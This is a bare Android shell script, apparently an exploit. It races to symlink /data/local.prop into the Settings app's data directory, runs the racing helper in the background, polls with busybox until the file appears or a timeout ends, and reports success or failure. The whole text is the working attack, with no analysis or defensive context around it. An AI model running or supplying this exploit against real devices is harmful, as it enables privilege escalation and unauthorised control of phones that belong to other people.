echo "while ! ln -s /data/local.prop /data/data/com.android.settings/a/file99 > /dev/null 2>&1; do :; done" > /data/local/tmp/exploit
chmod 755 /data/local/tmp/exploit
/data/local/tmp/exploit &
export EXPPID=$!
export COUNT=0
while /data/local/tmp/busybox test 1 = 1
do
   export COUNT=$(/data/local/tmp/busybox expr $COUNT + 1)
   sleep 1
   if /data/local/tmp/busybox test $COUNT -eq DELAY
   then
      break
   fi
   if /data/local/tmp/busybox test -f /data/local.prop
   then
      break
   fi
done
kill -9 $EXPPID
rm /data/local/tmp/exploit
if /data/local/tmp/busybox test -f /data/local.prop
then
   echo Success
else
   echo Failed
fi